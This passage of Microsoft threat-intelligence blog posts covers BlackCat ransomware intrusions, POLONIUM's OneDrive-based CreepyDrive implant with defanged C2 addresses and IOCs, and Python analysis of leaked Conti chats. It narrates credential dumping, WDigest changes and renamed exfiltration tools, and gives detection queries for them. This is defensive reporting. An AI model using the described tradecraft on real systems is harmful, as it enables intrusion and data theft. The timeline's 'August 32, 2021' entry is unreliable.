Two and a half days later, the attackers signed into one of the target devices they found during their initial discovery efforts using compromised credentials via interactive sign-in. They opted for a credential theft technique that didn’t require dropping a file like Mimikatz that antivirus products might detect. Instead, they opened Taskmgr.exe, created a dump file of the LSASS.exe process, and saved the file to a ZIP archive.

The attackers continued their previous discovery efforts using a PowerShell script version of ADRecon (ADRecon.ps1), which is a tool designed to gather extensive information about an Active Directory (AD) environment. The attacker followed up this action with a net scanning tool that opened connections to devices in the organization on server message block (SMB) and remote desktop protocol (RDP). For discovered devices, the attackers attempted to navigate to various network shares and used the Remote Desktop client (mstsc.exe) to sign into these devices, once again using the compromised account credentials.

These behaviors continued for days, with the attackers signing into numerous devices throughout the organization, dumping credentials, and determining what devices they could access.

Collection and exfiltration

On many of the devices the attackers signed into, efforts were made to collect and exfiltrate extensive amounts of data from the organization, including domain settings and information and intellectual property. To do this, the attackers used both MEGAsync and Rclone, which were renamed as legitimate Windows process names (for example, winlogon.exe, mstsc.exe).

Exfiltration of domain information to identify targets for lateral movement

Collecting domain information allowed the attackers to progress further in their attack because the said information could identify potential targets for lateral movement or those that would help the attackers distribute their ransomware payload. To do this, the attackers once again used ADRecon.ps1with numerous PowerShell cmdlets such as the following:

  • Get-ADRGPO – gets group policy objects (GPO) in a domain
  • Get-ADRDNSZone – gets all DNS zones and records in a domain
  • Get-ADRGPLink – gets all group policy links applied to a scope of management in a domain

Additionally, the attackers dropped and used ADFind.exe commands to gather information on persons, computers, organizational units, and trust information, as well as pinged dozens of devices to check connectivity.

Exfiltration for double extortion

Intellectual property theft likely allowed the attackers to threaten the release of information if the subsequent ransom wasn’t paid—a practice known as “double extortion.” To steal intellectual property, the attackers targeted and collected data from SQL databases. They also navigated through directories and project folders, among others, of each device they could access, then exfiltrated the data they found in those. 

The exfiltration occurred for multiple days on multiple devices, which allowed the attackers to gather large volumes of information that they could then use for double extortion.

Encryption and ransom

It was a full two weeks from the initial compromise before the attackers progressed to ransomware deployment, thus highlighting the need for triaging and scoping out alert activity to understand accounts and the scope of access an attacker gained from their activity. Distribution of the ransomware payload using PsExec.exe proved to be the most common attack method.

Screenshot of the ransom note displayed by BlackCat ransomware. It informs affected users that sensitive data from their network has been downloaded and that they must act quicky and pay the ransom if they don't want the data to be published.
Figure 3. Ransom note displayed by BlackCat upon successful infection

Case study 2: Entry via compromised credentials

In another incident we observed, we found that a ransomware affiliate gained initial access to the environment via an internet-facing Remote Desktop server using compromised credentials to sign in.

Diagram with icons and timeline depicting different attack stages, starting with the attacker using stolen credentials to sign into Remote Desktop and ending with the deployment of BlackCat ransomware.
Figure 4. Observed BlackCat ransomware attack chain via stolen credentials

Lateral movement

Once the attackers gained access to the target environment, they then used SMB to copy over and launch the Total Deployment Software administrative tool, allowing remote automated software deployment. Once this tool was installed, the attackers used it to install ScreenConnect (now known as ConnectWise), a remote desktop software application.

Credential theft

ScreenConnect was used to establish a remote session on the device, allowing attackers interactive control. With the device in their control, the attackers used cmd.exe to update the Registry to allow cleartext authentication via WDigest, and thus saved the attackers time by not having to crack password hashes. Shortly later, they used the Task Manager to dump the LSASS.exe process to steal the password, now in cleartext.

Eight hours later, the attackers reconnected to the device and stole credentials again. This time, however, they dropped and launched Mimikatz for the credential theft routine, likely because it can grab credentials beyond those stored in LSASS.exe. The attackers then signed out.

Persistence and encryption

A day later, the attackers returned to the environment using ScreenConnect. They used PowerShell to launch a command prompt process and then added a user account to the device using net.exe. The new user was then added to the local administrator group via net.exe.

Afterward, the attackers signed in using their newly created user account and began dropping and launching the ransomware payload. This account would also serve as a means of additional persistence beyond ScreenConnect and their other footholds in the environment to allow them to re-establish their presence, if needed. Ransomware adversaries are not above ransoming the same organization twice if access is not fully remediated.

Chrome.exe was used to navigate to a domain hosting the BlackCat payload. Notably, the folder structure included the organization name, indicating that this was a pre-staged payload specifically for the organization. Finally, the attackers launched the BlackCat payload on the device to encrypt its data.

Ransomware affiliates deploying BlackCat

Apart from the incidents discussed earlier, we’ve also observed two of the most prolific affiliate groups associated with ransomware deployments have switched to deploying BlackCat. Payload switching is typical for some RaaS affiliates to ensure business continuity or if there’s a possibility of better profit. Unfortunately for organizations, such adoption further adds to the challenge of detecting related threats.

Microsoft tracks one of these affiliate groups as DEV-0237. Also known as FIN12, DEV-0237 is notable for its distribution of Hive, Conti, and Ryuk ransomware. We’ve observed that this group added BlackCat to their list of distributed payloads beginning March 2022. Their switch to BlackCat from their last used payload (Hive) is suspected to be due to the public discourse around the latter’s decryption methodologies.

DEV-0504 is another active affiliate group that we’ve seen switching to BlackCat for their ransomware attacks. Like many RaaS affiliate groups, the following TTPs might be observed in a DEV-0504 attack:

  • Entry vector that can involve the affiliate remotely signing into devices with compromised credentials, such as into devices running software solutions that allow for remote work
  • The attackers’ use of their access to conduct discovery on the domain
  • Lateral movement that potentially uses the initial compromised account
  • Credential theft with tools like Mimikatz and Rubeus

DEV-0504 typically exfiltrates data on devices they compromise from the organization using a malicious tool such as StealBit—often named “send.exe” or “sender.exe”. PsExec is then used to distribute the ransomware payload. The group has been observed delivering the following ransom families before their adoption of BlackCat beginning December 2021:

  • BlackMatter
  • Conti
  • LockBit 2.0
  • Revil
  • Ryuk

Defending against BlackCat ransomware

Today’s ransomware attacks have become more impactful because of their growing industrialization through the RaaS affiliate model and the increasing trend of double extortion. The incidents we’ve observed related to the BlackCat ransomware leverage these two factors, making this threat durable against conventional security and defense approaches that only focus on detecting the ransomware payloads. Detecting threats like BlackCat, while good, is no longer enough as human-operated ransomware continues to grow, evolve, and adapt to the networks they’re deployed or the attackers they work for.

Instead, organizations must shift their defensive strategies to prevent the end-to-end attack chain. As noted above, while attackers’ entry points may vary, their TTPs remain largely the same. In addition, these types of attacks continue to take advantage of an organization’s poor credential hygiene and legacy configurations or misconfigurations to succeed. Therefore, defenders should address these common paths and weaknesses by hardening their networks through various best practices such as access monitoring and proper patch management. We provide detailed steps on building these defensive strategies against ransomware in this blog.

In the BlackCat-related incidents we’ve observed, the common entry points for ransomware affiliates were via compromised credentials to access internet-facing remote access software and unpatched Exchange servers. Therefore, defenders should review their organization’s identity posture, carefully monitor external access, and locate vulnerable Exchange servers in their environment to update as soon as possible. The financial impact, reputation damage, and other repercussions that stem from attacks involving ransomware like BlackCat are not worth forgoing downtime, service interruption, and other pain points related to applying security updates and implementing best practices.

Leveraging Microsoft 365 Defender’s comprehensive threat defense capabilities

Microsoft 365 Defender helps protect organizations from attacks that deliver the BlackCat ransomware and other similar threats by providing cross-domain visibility and coordinated threat defense. It uses multiple layers of dynamic protection technologies and correlates threat data from email, endpoints, identities, and cloud apps. Microsoft Defender for Endpoint detects tools like Mimikatz, the actual BlackCat payload, and subsequent attacker behavior. Threat and vulnerability management capabilities also help discover vulnerable or misconfigured devices across different platforms; such capabilities could help detect and block possible exploitation attempts on vulnerable devices, such as those running Exchange. Finally, advanced hunting lets defenders create custom detections to proactively surface this ransomware and other related threats.

Additional mitigations and recommendations

Defenders can also follow the following steps to reduce the impact of this ransomware:

Microsoft 365 Defender customers can also apply the additional mitigations below:

  • Use advanced protection against ransomware.
  • Turn on tamper protection in Microsoft Defender for Endpoint to prevent malicious changes to security settings. Enable network protection in Microsoft Defender for Endpoint and Microsoft 365 Defender to prevent applications or users from accessing malicious domains and other malicious content on the internet.
  • Ensure Exchange servers have applied the mitigations referenced in the related Threat Analytics report.
  • Turn on the following attack surface reduction rules to block or audit activity associated with this threat:
    • Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    • Block process creations originating from PSExec and WMI commands
    • Block executable files from running unless they meet a prevalence, age, or trusted list criterion

For a full list of ransomware mitigations regardless of threat, refer to this article: Rapidly protect against ransomware and extortion.

Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365.

Microsoft 365 Defender Threat Intelligence Team

Appendix

Microsoft 365 Defender detections

Microsoft Defender Antivirus

Microsoft Defender for Endpoint EDR

Alerts with the following titles in the security center can indicate threat activity on your network:

  • An active ‘BlackCat’ ransomware was detected
  • ‘BlackCat’ ransomware was detected
  • BlackCat ransomware

Hunting queries

Microsoft 365 Defender

To locate possible ransomware activity, run the following queries.

Suspicious process execution in PerfLogs path

Use this query to look for processes executing in PerfLogs—a common path used to place the ransomware payloads.

DeviceProcessEvents
| where InitiatingProcessFolderPath has "PerfLogs"
| where InitiatingProcessFileName matches regex "[a-z]{3}.exe"
| extend Length = strlen(InitiatingProcessFileName)
| where Length == 7

Suspicious registry modification of MaxMpxCt parameters

Use this query to look for suspicious running processes that modify registry settings to increase the number of outstanding requests allowed (for example, SMB requests when distributing ransomware via its PsExec methodology).

DeviceProcessEvents
| where ProcessCommandLine has_all("LanmanServer", "parameters", "MaxMpxCt", "65535")

Suspicious command line indicative of BlackCat ransom payload execution

Use these queries to look for instances of the BlackCat payload executing based on a required command argument for it to successfully encrypt ‘–access-token’.

DeviceProcessEvents
| where ProcessCommandLine has_all("--access-token", "-v") 
| extend CommandArguments = split(ProcessCommandLine, " ")
| mv-expand CommandArguments
| where CommandArguments matches regex "^[A-Fa-f0-9]{64}$"
DeviceProcessEvents
| where InitiatingProcessCommandLine has "--access-token"
| where ProcessCommandLine has "get uuid"

Suspected data exfiltration

Use this query to look for command lines that indicate data exfiltration and the indication that an attacker may attempt double extortion.

DeviceNetworkEvents
| where InitiatingProcessCommandLine has_all("copy", "--max-age", "--ignore-existing", "--multi-thread-streams", "--transfers") and InitiatingProcessCommandLine has_any("ftp", "ssh", "-q")

The post The many lives of BlackCat ransomware appeared first on Microsoft Security Blog.

Exposing POLONIUM activity and infrastructure targeting Israeli organizations

Microsoft successfully detected and disabled attack activity abusing OneDrive by a previously undocumented Lebanon-based activity group Microsoft Threat Intelligence Center (MSTIC) tracks as POLONIUM.  The associated indicators and tactics were used by the OneDrive team to improve detection of attack activity and disable offending actor accounts. To further address this abuse, Microsoft has suspended more than 20 malicious OneDrive applications created by POLONIUM actors, notified affected organizations, and deployed a series of security intelligence updates that will quarantine tools developed by POLONIUM operators. Our goal with this blog is to help deter future activity by exposing and sharing the POLONIUM tactics with the community at large.

MSTIC assesses with high confidence that POLONIUM represents an operational group based in Lebanon. We also assess with moderate confidence that the observed activity was coordinated with other actors affiliated with Iran’s Ministry of Intelligence and Security (MOIS), based primarily on victim overlap and commonality of tools and techniques. Such collaboration or direction from Tehran would align with a string of revelations since late 2020 that the Government of Iran is using third parties to carry out cyber operations on their behalf, likely to enhance Iran’s plausible deniability.

POLONIUM has targeted or compromised more than 20 organizations based in Israel and one intergovernmental organization with operations in Lebanon over the past three months. This actor has deployed unique tools that abuse legitimate cloud services for command and control (C2) across most of their victims. POLONIUM was observed creating and using legitimate OneDrive accounts, then utilizing those accounts as C2 to execute part of their attack operation. This activity does not represent any security issues or vulnerabilities on the OneDrive platform. In addition, MSTIC does not, at present, see any links between this activity and other publicly documented groups linked to Lebanon like Volatile Cedar. This blog will also expose further details that show Iranian threat actors may be collaborating with proxies to operationalize their attacks. Microsoft continues to work across its platforms to identify abuse, take down malicious activity, and implement new proactive protections to discourage malicious actors from using our services.

As with any observed nation-state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with the information they need to secure their accounts.

Observed actor activity

Since February 2022, POLONIUM has been observed primarily targeting organizations in Israel with a focus on critical manufacturing, IT, and Israel’s defense industry. In at least one case, POLONIUM’s compromise of an IT company was used to target a downstream aviation company and law firm in a supply chain attack that relied on service provider credentials to gain access to the targeted networks. Multiple manufacturing companies they targeted also serve Israel’s defense industry, indicating a POLONIUM tactic that follows an increasing trend by many actors, including among several Iranian groups, of targeting service provider access to gain downstream access. Observed victim organizations were in the following sectors: critical manufacturing, information technology, transportation systems, defense industrial base, government agencies and services, food and agriculture, financial services, healthcare and public health, and other business types.

POLONIUM TTPs shared with Iran-based nation-state actors

MSTIC assesses with moderate confidence that POLONIUM is coordinating its operations with multiple tracked actor groups affiliated with Iran’s Ministry of Intelligence and Security (MOIS), based on victim overlap and the following common techniques and tooling:

  • Common unique victim targeting: MSTIC has observed POLONIUM active on or targeting multiple victims that MERCURY previously compromised. According to the US Cyber Command, MuddyWater, a group we track as MERCURY, “is a subordinate element within the Iranian Ministry of Intelligence and Security.”
  • Evidence of possible “hand-off” operations: The uniqueness of the victim organizations suggests a convergence of mission requirements with MOIS. It may also be evidence of a ‘hand-off’ operational model where MOIS provides POLONIUM with access to previously compromised victim environments to execute new activity. MSTIC continues to monitor both actors to further verify this ‘hand-off’ hypothesis.
  • Use of OneDrive for C2:  MSTIC has observed both POLONIUM and DEV-0133 (aka Lyceum) using cloud services, including OneDrive, for data exfiltration and command and control.
  • Use of AirVPN: Both POLONIUM and DEV-0588 (aka CopyKittens) commonly use AirVPN for operational activity. While use of public VPN services is common across many actor sets, these actors’ specific choice to use AirVPN, combined with the additional overlaps documented above, further supports the moderate confidence assessment that POLONIUM collaborates with MOIS.

Abuse of cloud services

POLONIUM has been observed deploying a series of custom implants that utilize cloud services for command and control as well as data exfiltration. MSTIC has observed implants connecting to POLONIUM-owned accounts in OneDrive and Dropbox. These tools are detected as the following malware:

  • Trojan:PowerShell/CreepyDrive.A!dha
  • Trojan:PowerShell/CreepyDrive.B!dha
  • Trojan:PowerShell/CreepyDrive.C!dha
  • Trojan:PowerShell/CreepyDrive.D!dha
  • Trojan:PowerShell/CreepyDrive.E!dha
  • Trojan:MSIL/CreepyBox.A!dha
  • Trojan:MSIL/CreepyBox.B!dha
  • Trojan:MSIL/CreepyBox.C!dha

While OneDrive performs antivirus scanning on all uploaded content, POLONIUM is not using the cloud service to host their malware. If malware was hosted in the OneDrive account, Microsoft Defender Antivirus detections would block it. Instead, they are interacting with the cloud service in the same way that a legitimate customer would. OneDrive is partnering with MSTIC to identify and disable accounts that are linked to known adversary behavior.

CreepyDrive analysis

The CreepyDrive implant utilizes a POLONIUM-owned OneDrive storage account for command and control. The implant provides basic functionality of allowing the threat actor to upload stolen files and download files to run.

All web requests by the CreepyDrive implant use the Invoke-WebRequest cmdlet. The implant’s logic is wrapped in a while true loop, ensuring continuous execution of the implant once running. The implant contains no native persistence mechanism; if terminated it would need to be re-executed by the threat actor.

Due to the lack of victim identifiers in the CreepyDrive implant, using the same OneDrive account for multiple victims, while possible, may be challenging. It’s likely that a different threat actor-controlled OneDrive account is used per implant.

Getting an OAuth token

When run, the implant first needs to authenticate with OneDrive. The threat actor incorporated a refresh token within the implant. Refresh tokens are part of the Open Authorization 2 (OAuth) specification, allowing a new OAuth token to be issued when it expires. There are several mechanisms that make token theft difficult, including the use of the trusted platform module (TPM) to protect secrets. More information on these mechanisms can be found here.

In this instance, the protection settings tied to the OneDrive account are fully controlled by the threat actor, allowing them to disable protections that prevent the theft of the token and client secrets. As the threat actor is in full control of all secrets and key material associated with the account, their sign-in activity looks like legitimate customer behavior and is thus challenging to detect.

This token and client secret are transmitted in the body of request to a legitimate Microsoft endpoint to generate an OAuth token:

https[://]login.microsoftonline.com/consumers/oauth2/v2.0/token

This request provides the requisite OAuth token for the implant to interact with the threat actor-owned OneDrive account. Using this OAuth token, the implant makes a request to the following Microsoft Graph API endpoint to access the file data.txt:

https[://]graph.microsoft.com/v1.0/me/drive/root:/Documents/data.txt:/content

The file data.txt acts as the primary tasking mechanism for the implant, providing three branches of execution.

Upload

The first branch is triggered when the word “upload” is provided in the response. This response payload also contains two additional elements: a local file path to upload, and what is likely a threat actor-defined remote file name to upload the local file into. The request is structured as follows:

https[://]graph.microsoft.com/v1.0/me/drive/root:/Uploaded/???:/content

Download

The second branch is triggered when the word “download” is provided in the response. This response payload contains a file name to download from the threat actor-owned OneDrive account. The request is structured as follows:

https[://]graph.microsoft.com/v1.0/me/drive/root:/Downloaded/???:/content

Execute

This branch is triggered when no command is provided in the response. The response payload can contain either an array of commands to execute or file paths to files previously downloaded by the implant. The threat actor can also provide a mixture of individual commands and file paths.

Each value from the array is passed individually into the below custom function, which uses the Invoke-Expression cmdlet to run commands:

The output of each executed command is aggregated and then written back to the following location in the threat actor-owned OneDrive account:

https[://]graph.microsoft.com/v1.0/me/drive/root:/Documents/response.json:/content

During the execution of this mechanism, the threat actor resets the content of the original tasking file data.txt with the following request:

https[://]graph.microsoft.com/v1.0/me/drive/root:/Documents/data.txt:/content

Finally, the CreepyDrive implant sleeps, re-executing in a loop until the process is terminated.

Use of custom implant

POLONIUM has also been observed deploying a custom PowerShell implant detected as Backdoor:PowerShell/CreepySnail.B!dha. The C2s for observed CreepySnail implants include:

  • 135[.]125[.]147[.]170:80
  • 185[.]244[.]129[.]79:63047
  • 185[.]244[.]129[.]79:80
  • 45[.]80[.]149[.]108:63047
  • 45[.]80[.]149[.]108:80
  • 45[.]80[.]149[.]57:63047
  • 45[.]80[.]149[.]68:63047
  • 45[.]80[.]149[.]71:80

The code below demonstrates how the CreepySnail PowerShell implant, once deployed on a target network, attempts to authenticate using stolen credentials and connect to POLONIUM C2 for further actions on objectives, such as data exfiltration or further abuse as C2.

Use of commodity tools

POLONIUM has also been observed dropping a secondary payload via their OneDrive implant. POLONIUM used a common SSH tool for automating interactive sign-ins called plink to set up a redundant tunnel from the victim environment to the attacker-controlled infrastructure.

The observed C2 IP addresses for POLONIUM plink tunnels include:

  • 185[.]244[.]129 [.]109
  • 172[.]96[.]188[.]51
  • 51[.]83 [.]246 [.]73

Exploitation

While we continue to pursue confirmation of how POLONIUM gained initial access to many of their victims, MSTIC notes that approximately 80% of the observed victims beaconing to graph.microsoft.com were running Fortinet appliances. This suggests, but does not definitively prove, that POLONIUM compromised these Fortinet devices by exploiting the CVE-2018-13379 vulnerability to gain access to the compromised organizations.

IT supply chain attacks

In one case, POLONIUM compromised a cloud service provider based in Israel and likely used this access to compromise downstream customers of the service provider. Specifically, MSTIC observed that POLONIUM pivoted through the service provider and gained access to a law firm and an aviation company in Israel. The tactic of leveraging IT products and service providers to gain access to downstream customers remains a favorite of Iranian actors and their proxies.

Microsoft will continue to monitor ongoing activity from POLONIUM and the other Iranian MOIS-affiliated actors discussed in this blog and implement protections for our customers. The current detections, advanced detections, and IOCs in place across our security products are detailed below.

Recommended customer actions

The techniques used by the actor described in the “Observed actor activity” section can be mitigated by adopting the security considerations provided below:

  • Use the included indicators of compromise to investigate whether they exist in your environment and assess for potential intrusion. Microsoft Sentinel queries are provided in the advanced hunting section below.
  • Confirm that Microsoft Defender Antivirus is updated to security intelligence update 1.365.40.0 or later, or ensure that cloud protection is turned on, to detect the related indicators.
  • Block in-bound traffic from IPs specified in the “Indicators of compromise” table.
  • Review all authentication activity for remote access infrastructure (VPNs), with a particular focus on accounts configured with single factor authentication, to confirm authenticity and investigate any anomalous activity.
  • Enable multifactor authentication (MFA) to mitigate potentially compromised credentials and ensure that MFA is enforced for all remote connectivity.  NOTE: Microsoft strongly encourages all customers download and use passwordless solutions like Microsoft Authenticator to secure your accounts.
  • For customers that have relationships with service providers, review and audit partner relationships to minimize any unnecessary permissions between your organization and upstream providers. Microsoft recommends immediately removing access for any partner relationships that look unfamiliar or have not yet been audited.

Indicators of compromise (IOCs)

The below list provides IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.

Indicator Type Description
135[.]125[.]147[.]170:80 IPv4 address C2  for POLONIUM CreepySnail implant
185[.]244[.]129[.]79:63047 IPv4 address C2  for POLONIUM CreepySnail implant
185[.]244[.]129[.]79:80 IPv4 address C2  for POLONIUM CreepySnail implant
45[.]80[.]149[.]108:63047 IPv4 address C2  for POLONIUM CreepySnail implant
45[.]80[.]149[.]108:80 IPv4 address C2  for POLONIUM CreepySnail implant
45[.]80[.]149[.]57:63047 IPv4 address C2  for POLONIUM CreepySnail implant
45[.]80[.]149[.]68:63047 IPv4 address C2  for POLONIUM CreepySnail implant
45[.]80[.]149[.]71:80 IPv4 address C2 for POLONIUM CreepySnail implant
185[.]244[.]129[.]109 IPv4 address C2 for POLONIUM plink tunnels
172[.]96[.]188[.]51 IPv4 address C2 for POLONIUM plink tunnels
51[.]83[.]246[.]73 IPv4 address C2 for POLONIUM plink tunnels
Trojan:PowerShell/CreepyDrive.A!dha Tool Custom implant signature
Trojan:PowerShell/CreepyDrive.B!dha Tool Custom implant signature
Trojan:PowerShell/CreepyDrive.C!dha Tool Custom implant signature
Trojan:PowerShell/CreepyDrive.D!dha Tool Custom implant signature
Trojan:PowerShell/CreepyDrive.E!dha Tool Custom implant signature
Trojan:MSIL/CreepyBox.A!dha Tool Custom implant signature
Trojan:MSIL/CreepyBox.B!dha Tool Custom implant signature
Trojan:MSIL/CreepyBox.C!dha Tool Custom implant signature
Trojan:MSIL/CreepyRing.A!dha Tool Custom implant signature
Trojan:MSIL/CreepyWink.B!dha Tool Custom implant signature
Backdoor:PowerShell/CreepySnail.B!dha Tool Custom implant signature

NOTE: These indicators should not be considered exhaustive for this observed activity.

Detections

Microsoft 365 Defender

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects the malware tools and implants used by POLONIUM starting from signature build 1.365.40.0 as the following:

  • Trojan:PowerShell/CreepyDrive.A!dha
  • Trojan:PowerShell/CreepyDrive.B!dha
  • Trojan:PowerShell/CreepyDrive.C!dha
  • Trojan:PowerShell/CreepyDrive.D!dha
  • Trojan:PowerShell/CreepyDrive.E!dha
  • Trojan:MSIL/CreepyBox.A!dha
  • Trojan:MSIL/CreepyBox.B!dha
  • Trojan:MSIL/CreepyBox.C!dha
  • Trojan:MSIL/CreepyRing.A!dha
  • Trojan:MSIL/CreepyWink.B!dha
  • Backdoor:PowerShell/CreepySnail.B!dha

Microsoft Defender for Endpoint

Microsoft Defender for Endpoint customers may see any or a combination of the following alerts as an indication of possible attack. These alerts are not necessarily an indication of POLONIUM compromise:

  • POLONIUM Actor Activity Detected
  • PowerShell made a suspicious network connection
  • Suspicious behavior by powershell.exe was observed
  • Hidden dual-use tool launch attempt
  • Outbound connection to non-standard port

Microsoft Defender for Cloud Apps

The OAuth apps that were created in the victim tenants were created with only two specific scope of permissions: offline_access and Files.ReadWrite.All. These applications were set to serve multi-tenant and performed only OneDrive operations. Applications accessed OneDrive workload via the Graph API, where most calls to the API from the application were made as search activities, with a few edit operations also observed.

App made numerous searches and edits in OneDrive

App governance, an add-on to Microsoft Defender for Cloud Apps, detects malicious OAuth applications that make numerous searches and edits in OneDrive. Learn how to investigate anomaly detection alerts in Microsoft Defender for Cloud Apps.

Microsoft Defender for Cloud Apps alert for malicious OAuth apps

Advanced hunting queries

Microsoft Sentinel

Identify POLONIUM IOCs

This query identifies POLONIUM network IOCs within available Azure Sentinel network logging:

https://github.com/Azure/Azure-Sentinel/tree/master/Detections/MultipleDataSources/POLONIUMIPIoC.yaml

Detect CreepySnail static URI parameters

The CreepySnail tool utilizes static URI parameters that can be detected using the following query:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/CommonSecurityLog/CreepySnailURLParameters.yaml

Detect Base64-encoded/transmitted machine usernames or IP addresses

CreepySnail also utilizes Base64-encoded parameters to transmit information from the victim to threat actor. The following queries detect machine usernames or IP addresses (based on Microsoft Defender for Endpoint logging) being transmitted under Base64 encoding in a web request:

https://github.com/Azure/Azure-Sentinel/tree/master/Detections/MultipleDataSources/B64UserInWebURIFromMDE.yaml

https://github.com/Azure/Azure-Sentinel/tree/master/Detections/MultipleDataSources/B64IPInURLFromMDE.yaml

Detect POLONIUM requests to predictable OneDrive file paths

The OneDrive capability that POLONIUM utilizes makes requests to predictable OneDrive file paths to access various folders and files. The following queries detect these paths in use:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/CommonSecurityLog/CreepyDriveURLs.yaml

Detect sequence of request events related to unique CreepyDrive re-authentication attempts

The CreepyDrive implant makes a predictable sequence of requests to Microsoft authentication servers and OneDrive that can be detected using the following query:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/CommonSecurityLog/CreepyDriveRequestSequence.yaml

Hunt for other suspicious encoded request parameters

The following hunting queries can be used to hunt for further suspicious encoded request parameters:

https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries/CommonSecurityLog/B64IPInURL.yaml

https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries/CommonSecurityLog/RiskyCommandB64EncodedInUrl.yaml

The post Exposing POLONIUM activity and infrastructure targeting Israeli organizations appeared first on Microsoft Security Blog.

Using Python to unearth a goldmine of threat intelligence from leaked chat logs

June 1st, 2022 No comments

Dealing with a great amount of data can be time consuming, thus using Python can be very powerful to help analysts sort information and extract the most relevant data for their investigation. The open-source tools library, MSTICPy, for example, is a Python tool dedicated to threat intelligence. It aims to help threat analysts acquire, enrich, analyze, and visualize data.

This blog provides a workflow for deeper data analysis and visualization using Python, as well as for extraction and analysis of indicators of compromise (IOCs) using MSTICPy. Data sets from the February 2022 leak of data from the ransomware-as-a-service (RaaS) coordinated operation called “Conti” is used as case study.

An interactive Jupyter notebook with related data is also available for analysts interested to do further data exploration.

This research aims to provide a view into research methodology that may help other analysts apply Python to threat intelligence. Analysts can reuse the code and continue to explore the extracted information. Additionally, it offers an out-of-the-box methodology for analyzing chat logs, extracting IOCs, and improving threat intelligence and defense process using Python.

Using Python to analyze the Conti network

On February 28, 2022, a Twitter account named @ContiLeaks (allegedly a Ukrainian researcher) began posting leaked Conti data on Twitter. The leaked data sets, which were posted in a span of several months, consisted of chat logs, source codes, and backend applications.

For this research, we focused our analysis on the chat logs, which revealed crucial information about the Conti group’s operating methods, infrastructure, and organizational structure.

Compiling and translating chat logs

The leaked chat logs are written in the Russian language. To make the analysis more accessible, we adopted the methodology published here and translated the logs to English.

The chat logs revealed that the Conti group uses the messaging application Jabber to communicate among members. Since raw Jabber logs are saved using a file per day, they can be compiled in one JSON file so they can easily be manipulated with Python. Once the data is merged, they can be translated using the deep translator library. After the logs are translated and loaded into a new file, it’s then possible to load the data into a dataframe for manipulation and exploration:

df = pd.read_json(codecs.open('translated_Log2.json', 'r', 'utf-8'))
A screenshot of a table of chat messages translated from Russian to English. The table includes details when the message was sent, who it was from, to whom it was sent, the original text in Russian, and the translated English version.
Figure 1. Translated logs

Russian slang words not properly translated by the automated process can be translated by creating a dictionary. A dictionary off a list proposed here was used in this case to correctly translate the slang:

A screenshot of Python code that creates a dictionary which can be used to translate Russian slang words. It features a list of Russian slang words and their English translation.
Figure 2. Translating slang

Analyzing the chat activity timeline

One way to get insights from chat logs is to see its timeline and check the number of discussions per day. The Bokeh library can be used to build an interactive diagram and explore the loaded dataframe.

A screenshot of Python code for exploring data using the Bokeh library. It shows code for filtering results, creating diagrams, and adding hover tools.
Figure 3. Python code for exploring discussions

Using the data from Conti chat logs generates the following diagram, which shows the volume of Jabber discussions over time:

A line graph that shows a volume of discussions within the Conti group from March 2021 to March 2022. The data shows several peaks in activity, mostly concentrated from September to December 2021.
Figure 4. Volume of discussions over time

Visualizing the data as a timeline shows some peaks of activity that align to certain events. In the case of the Conti leaks, for example:

  • July 7, 2021 (615 discussions): Ransomware attack by REvil against software company Kaseya
  • August 27, 2021 (1,289 discussions): The playbook of a specific Conti affiliate was leaked
  • August 32, 2021 (1,156 discussions): FBI CISA advisory on ransomware and labor day
  • August 10, 2021 (853 discussions): Ransomware attack by Conti against Meyer Corporation

It’s interesting that no peak in chat activity was observed within the Conti group after the first leak, which could indicate that the breach was ignored or not known by the group at that time.

Analyzing the level of user activity

When analyzing chat logs, identifying the number of users and analyzing the most active ones can provide insight into the size of the group and roles of users within it. Using Python, the list of users can be extracted and saved in a text file:

A screenshot of Python code that extracts the list of users from the Conti chat logs. It also shows code to remove duplicates from the list, concatenate the dataframe, and save the list to a text file.
Figure 5. Extracting list of users

Running the script above using the Conti chat logs yielded a list of 346 unique accounts. This list can then be used to create a graph and show which users sent the most messages.

A screenshot of Python code that creates a graph to show the list of users from the Conti chat logs with the most messages.
Figure 6. Creating a graph for users with most messages
A bar chart that compares the users from the Conti chat logs based on the number of messages they sent. The bar shows that the most active user sent as many as more than eight thousand messages.
Figure 7. Most active users in the Conti chat logs

Based on the graph, the users named defender, stern, driver, bio, and mango have the largest number of discussions. Checkpoint  published extensive research on the structure of the organization and correlated the user discussions with several roles and services like human resources, coders, crypters, offensive team, SysAdmins, and more.

Mapping the users’ connections

Another way to analyze chat log data is to visualize the users’ connection. This can be done by creating a dynamic network graph that can highlight the connections between users. The Barnes Hut algorithm and the Pyvis library can be used to visualize this data.

A screenshot of Python code that creates a dynamic network graph of the Conti chat log data using the Barnes Hut algorithm and Pyvis library.
Figure 8. Creation a dynamic graph

Dynamic visualization shows a graphical overview of the network and allows zooming into the network to closely analyze the connections within. Bigger points represent the most active users, and it’s possible to highlight a user to analyze their connections. Additionally, the hovering tool shows which other users a specific user had conversations with.

A screenshot of a dynamic visualization showing a graphical overview of the Conti network. It shows users as points in the graph, all connected by lines that represent conversations between them.
Figure 9. Conti user network overview
A screenshot of a list of connections to the user named "Stern" from the Conti network. The graphical overview of the entire Conti network is shown on the background of the list.
Figure 10. Connections to user ‘Stern’

Searching for other topics of interest

Since reading data sets can be time-consuming, a simple search engine can be built to search for specific strings in the chat logs or to filter for topics of interest. For the Conti leak data, examples of these include Bitcoin, usernames, malware names, exploits, and CVEs, to name a few.

The following code snippet provides a simple search engine using the TextSearch library:

A screenshot of Python code that creates a search engine using the TextSearch library from Github. The code presents configuration options for the search engine widget and filters for search results.
Figure 11. Search engine using Python

Using MSTICPy to extract and analyze IOCs

Besides processing chat logs to analyze user activity and connections, Python can also be used to extract and analyze threat intelligence. This section shows how the MSTICPy library can be used to extract IOCs and how it can be used for additional threat hunting and intelligence.

Extracting IOCs

MSTICPy is a Python library used for threat investigation and threat hunting. The library can connect to several threat intelligence providers, as well as Microsoft tools like Microsoft Sentinel. It can be used to query logs and to enrich data. It’s particularly convenient for analyzing IOCs and adding more threat contextualization.

